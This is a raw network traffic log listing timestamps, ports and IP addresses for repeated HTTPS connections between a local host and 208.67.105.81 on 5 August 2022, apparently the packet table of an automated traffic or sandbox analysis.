Aug 5, 2022 12:11:09.726584911 CEST	49820	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:09.726829052 CEST	49820	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:09.726844072 CEST	443	49820	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:09.726866961 CEST	49820	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:09.726998091 CEST	49820	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:11.018665075 CEST	49823	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:11.018764973 CEST	443	49823	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:11.018924952 CEST	49823	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:11.019678116 CEST	49823	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:11.019736052 CEST	443	49823	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:11.080992937 CEST	443	49823	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:11.081897020 CEST	49823	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:11.082623005 CEST	49823	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:11.082637072 CEST	443	49823	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:11.153489113 CEST	49823	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:11.153517008 CEST	443	49823	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:11.181538105 CEST	443	49823	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:11.181674004 CEST	443	49823	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:11.181740999 CEST	49823	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:11.181756973 CEST	49823	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:11.182118893 CEST	49823	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:11.182141066 CEST	443	49823	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:11.182225943 CEST	49823	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:11.182277918 CEST	49823	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:11.492316008 CEST	49825	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:11.492372990 CEST	443	49825	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:11.493849039 CEST	49825	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:11.494321108 CEST	49825	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:11.494360924 CEST	443	49825	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:11.555633068 CEST	443	49825	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:11.556662083 CEST	49825	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:11.565170050 CEST	49825	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:11.565203905 CEST	443	49825	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:11.570168018 CEST	49825	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:11.570193052 CEST	443	49825	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:11.611588001 CEST	443	49825	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:11.611686945 CEST	443	49825	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:11.611757994 CEST	49825	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:11.611785889 CEST	49825	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:11.612186909 CEST	49825	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:11.612205029 CEST	443	49825	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:11.612221956 CEST	49825	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:11.612291098 CEST	49825	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:12.947082996 CEST	49827	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:12.947138071 CEST	443	49827	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:12.947251081 CEST	49827	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:12.949398994 CEST	49827	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:12.949424982 CEST	443	49827	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:13.011872053 CEST	443	49827	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:13.012021065 CEST	49827	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:13.012732029 CEST	49827	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:13.012744904 CEST	443	49827	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:13.017034054 CEST	49827	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:13.017047882 CEST	443	49827	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:13.067769051 CEST	443	49827	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:13.067851067 CEST	49827	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:13.067852974 CEST	443	49827	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:13.067902088 CEST	49827	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:13.077575922 CEST	49827	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:13.077615023 CEST	443	49827	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:13.077639103 CEST	49827	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:13.077676058 CEST	49827	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:13.841818094 CEST	49830	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:13.841870070 CEST	443	49830	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:13.841985941 CEST	49830	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:13.842911005 CEST	49830	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:13.842941999 CEST	443	49830	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:13.902570009 CEST	443	49830	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:13.904835939 CEST	49830	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:13.905416012 CEST	49830	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:13.905427933 CEST	443	49830	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:13.910340071 CEST	49830	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:13.910352945 CEST	443	49830	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:13.958355904 CEST	443	49830	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:13.958442926 CEST	49830	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:13.958457947 CEST	443	49830	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:13.958508968 CEST	443	49830	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:13.958561897 CEST	49830	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:13.958570957 CEST	49830	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:13.984805107 CEST	49830	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:13.984841108 CEST	443	49830	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:13.984849930 CEST	49830	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:13.984935045 CEST	49830	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:14.409691095 CEST	49831	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:14.409751892 CEST	443	49831	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:14.409919977 CEST	49831	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:14.411339045 CEST	49831	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:14.411379099 CEST	443	49831	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:14.472332954 CEST	443	49831	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:14.472476006 CEST	49831	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:14.473270893 CEST	49831	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:14.473282099 CEST	443	49831	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:14.477391958 CEST	49831	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:14.477410078 CEST	443	49831	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:14.527312040 CEST	443	49831	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:14.527456045 CEST	443	49831	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:14.527502060 CEST	49831	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:14.527715921 CEST	49831	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:14.548558950 CEST	49831	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:14.548593998 CEST	443	49831	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:15.275140047 CEST	49832	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:15.275202990 CEST	443	49832	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:15.275346041 CEST	49832	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:15.276073933 CEST	49832	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:15.276099920 CEST	443	49832	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:15.336914062 CEST	443	49832	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:15.337110996 CEST	49832	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:15.342135906 CEST	49832	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:15.342166901 CEST	443	49832	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:15.346744061 CEST	49832	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:15.346759081 CEST	443	49832	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:15.393172026 CEST	443	49832	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:15.393275023 CEST	443	49832	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:15.393349886 CEST	49832	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:15.393368959 CEST	49832	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:15.408634901 CEST	49832	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:15.408679962 CEST	443	49832	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:15.408691883 CEST	49832	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:15.409596920 CEST	49832	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:16.484546900 CEST	49833	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:16.484611988 CEST	443	49833	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:16.484711885 CEST	49833	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:16.485340118 CEST	49833	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:16.485363960 CEST	443	49833	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:16.545258045 CEST	443	49833	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:16.545371056 CEST	49833	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:16.549674988 CEST	49833	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:16.549704075 CEST	443	49833	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:16.554235935 CEST	49833	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:16.554255962 CEST	443	49833	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:16.600085020 CEST	443	49833	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:16.600197077 CEST	443	49833	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:16.600320101 CEST	49833	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:16.600342035 CEST	49833	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:16.670615911 CEST	49833	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:16.670645952 CEST	443	49833	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:16.670667887 CEST	49833	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:16.670686960 CEST	49833	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:17.052547932 CEST	49834	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:17.052593946 CEST	443	49834	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:17.052664995 CEST	49834	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:17.053296089 CEST	49834	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:17.053318024 CEST	443	49834	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:17.112827063 CEST	443	49834	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:17.112984896 CEST	49834	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:17.115629911 CEST	49834	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:17.115641117 CEST	443	49834	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:17.131710052 CEST	49834	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:17.131726027 CEST	443	49834	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:17.166861057 CEST	443	49834	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:17.166930914 CEST	443	49834	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:17.166944027 CEST	49834	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:17.167011976 CEST	49834	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:17.179841995 CEST	49834	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:17.179867983 CEST	443	49834	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:17.179897070 CEST	49834	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:17.179912090 CEST	49834	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:18.462661028 CEST	49835	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:18.462727070 CEST	443	49835	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:18.462877035 CEST	49835	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:18.463753939 CEST	49835	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:18.463779926 CEST	443	49835	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:18.523806095 CEST	443	49835	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:18.524069071 CEST	49835	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:18.530673027 CEST	49835	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:18.530700922 CEST	443	49835	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:18.535650015 CEST	49835	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:18.535679102 CEST	443	49835	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:18.582053900 CEST	443	49835	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:18.582191944 CEST	443	49835	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:18.582197905 CEST	49835	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:18.582267046 CEST	49835	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:18.582542896 CEST	49835	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:18.582582951 CEST	443	49835	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:18.582600117 CEST	49835	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:18.582881927 CEST	49835	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:20.503724098 CEST	49837	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:20.503781080 CEST	443	49837	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:20.503875971 CEST	49837	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:20.505079985 CEST	49837	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:20.505116940 CEST	443	49837	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:20.566529036 CEST	443	49837	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:20.566611052 CEST	49837	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:20.568206072 CEST	49837	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:20.568233013 CEST	443	49837	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:20.572474957 CEST	49837	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:20.572504997 CEST	443	49837	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:20.622922897 CEST	443	49837	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:20.622997999 CEST	443	49837	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:20.623049021 CEST	49837	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:20.626219034 CEST	49837	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:20.652250051 CEST	49837	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:20.652308941 CEST	443	49837	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:20.652328968 CEST	49837	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:20.652426958 CEST	49837	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:24.051237106 CEST	49840	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:24.051311970 CEST	443	49840	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:24.051433086 CEST	49840	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:24.052304029 CEST	49840	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:24.052331924 CEST	443	49840	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:24.114554882 CEST	443	49840	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:24.114695072 CEST	49840	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:24.117655993 CEST	49840	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:24.117671013 CEST	443	49840	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:24.133089066 CEST	49840	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:24.133106947 CEST	443	49840	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:24.170640945 CEST	443	49840	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:24.170707941 CEST	443	49840	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:24.170738935 CEST	49840	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:24.170764923 CEST	49840	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:24.185334921 CEST	49840	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:24.185411930 CEST	443	49840	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:24.185434103 CEST	49840	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:24.185561895 CEST	49840	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:25.107188940 CEST	49841	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:25.107253075 CEST	443	49841	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:25.107395887 CEST	49841	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:25.113708019 CEST	49841	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:25.113728046 CEST	443	49841	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:25.172364950 CEST	443	49841	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:25.173559904 CEST	49841	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:25.174232006 CEST	49841	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:25.174242020 CEST	443	49841	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:25.180030107 CEST	49841	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:25.180038929 CEST	443	49841	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:25.228106022 CEST	443	49841	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:25.228198051 CEST	443	49841	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:25.228245020 CEST	49841	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:25.228358030 CEST	49841	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:25.247294903 CEST	49841	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:25.247323036 CEST	443	49841	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:25.247333050 CEST	49841	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:25.247385979 CEST	49841	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:25.657948017 CEST	49842	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:25.657988071 CEST	443	49842	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:25.658107042 CEST	49842	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:25.658879042 CEST	49842	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:25.658901930 CEST	443	49842	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:25.721095085 CEST	443	49842	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:25.722148895 CEST	49842	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:25.731157064 CEST	49842	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:25.731178045 CEST	443	49842	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:25.737457991 CEST	49842	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:25.737476110 CEST	443	49842	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:25.775418043 CEST	443	49842	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:25.775571108 CEST	443	49842	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:25.776319027 CEST	49842	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:25.776345968 CEST	49842	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:25.792295933 CEST	49842	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:25.792334080 CEST	443	49842	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:25.792344093 CEST	49842	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:25.792864084 CEST	49842	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:26.248032093 CEST	49843	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:26.248075962 CEST	443	49843	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:26.248205900 CEST	49843	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:26.249393940 CEST	49843	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:26.249422073 CEST	443	49843	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:26.310749054 CEST	443	49843	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:26.312230110 CEST	49843	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:26.313013077 CEST	49843	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:26.313030005 CEST	443	49843	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:26.317775011 CEST	49843	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:26.317795992 CEST	443	49843	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:26.372551918 CEST	443	49843	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:26.372674942 CEST	49843	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:26.372690916 CEST	443	49843	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:26.372747898 CEST	49843	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:26.389050007 CEST	49843	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:26.389084101 CEST	443	49843	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:26.389095068 CEST	49843	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:26.390171051 CEST	49843	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:27.741399050 CEST	49845	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:27.741453886 CEST	443	49845	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:27.741545916 CEST	49845	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:27.742278099 CEST	49845	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:27.742295980 CEST	443	49845	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:27.801374912 CEST	443	49845	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:27.801536083 CEST	49845	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:27.814538956 CEST	49845	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:27.814560890 CEST	443	49845	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:27.821019888 CEST	49845	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:27.821046114 CEST	443	49845	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:27.855870008 CEST	443	49845	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:27.855986118 CEST	49845	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:27.855995893 CEST	443	49845	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:27.856012106 CEST	443	49845	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:27.856049061 CEST	49845	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:27.856091976 CEST	49845	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:27.867145061 CEST	49845	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:27.867178917 CEST	443	49845	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:27.867193937 CEST	49845	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:27.867243052 CEST	49845	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:28.973169088 CEST	49846	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:28.973225117 CEST	443	49846	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:28.973323107 CEST	49846	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:28.973893881 CEST	49846	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:28.973912954 CEST	443	49846	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:29.036077976 CEST	443	49846	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:29.036462069 CEST	49846	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:29.038108110 CEST	49846	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:29.038147926 CEST	443	49846	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:29.043031931 CEST	49846	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:29.043056965 CEST	443	49846	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:29.091063976 CEST	443	49846	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:29.091206074 CEST	443	49846	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:29.091356993 CEST	49846	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:29.110110998 CEST	49846	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:29.110178947 CEST	443	49846	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:29.110204935 CEST	49846	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:29.110555887 CEST	49846	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:29.514029026 CEST	49847	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:29.514091969 CEST	443	49847	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:29.514185905 CEST	49847	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:29.516555071 CEST	49847	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:29.516591072 CEST	443	49847	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:29.576872110 CEST	443	49847	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:29.576956034 CEST	49847	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:29.577863932 CEST	49847	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:29.577877998 CEST	443	49847	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:29.582243919 CEST	49847	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:29.582267046 CEST	443	49847	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:29.631323099 CEST	443	49847	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:29.631443024 CEST	443	49847	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:29.631526947 CEST	49847	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:29.646815062 CEST	49847	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:29.646853924 CEST	443	49847	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:29.646863937 CEST	49847	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:29.646913052 CEST	49847	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:30.106302977 CEST	49848	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:30.106348991 CEST	443	49848	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:30.106441975 CEST	49848	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:30.107537031 CEST	49848	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:30.107558012 CEST	443	49848	208.67.105.81	192.168.2.6
